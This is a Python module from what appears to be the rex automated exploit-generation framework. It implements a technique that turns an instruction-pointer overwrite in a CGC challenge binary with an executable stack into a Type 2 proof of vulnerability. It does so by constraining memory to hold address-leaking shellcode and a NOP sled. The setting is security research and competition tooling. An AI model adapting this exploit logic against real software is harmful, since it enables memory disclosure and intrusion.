import logging
import claripy
from rex import Vulnerability
from rex.exploit import CannotExploit
from rex.exploit.cgc import CGCType2ShellcodeExploit
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.shellcode_leak_address")

class ShellcodeLeakAddress(Technique):

    name = "shellcode_leak_address"
    applicable_to = ['cgc']

    # this technique should create an exploit which is a type2 pov
    pov_type = 2
    generates_pov = True

    def check(self):

        # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            self.check_fail_reason("Cannot control IP.")
            return False

        if not self.crash.project.loader.main_object.execstack:
            self.check_fail_reason("Stack is not executable.")
            return False

        return True

    def apply(self, **kwargs):
        """
        set a register with shellcode on cgc
        """

        # try to write shellcode into global memory
        address_var = claripy.BVS('address_var', 32, explicit_name=True)
        length_var = claripy.BVS('length_var', 32, explicit_name=True)

        self.crash.state.add_constraints(address_var >= 0x4347c000)
        self.crash.state.add_constraints(address_var < 0x4347d000)

        self.crash.state.add_constraints(length_var >= 4)
        shellcode = self.shellcode.get_shellcode('leakaddress',
                address=address_var, length=length_var)

        jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(shellcode)

        ccp = self.crash.copy()

        ccp.state.add_constraints(ccp.state.regs.ip == jump_addr)

        # add nop sled if we were able to place one
        if jump_addr != shellcode_addr:
            nop_len = shellcode_addr - jump_addr
            sym_mem = ccp.state.memory.load(jump_addr, nop_len)
            nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len)
            ccp.state.add_constraints(sym_mem == nop_bvv)

        shc_sym_mem = ccp.state.memory.load(shellcode_addr, len(shellcode)//8)
        ccp.state.add_constraints(shc_sym_mem == shellcode)

        return CGCType2ShellcodeExploit(ccp, shc_sym_mem, address_var, length_var)
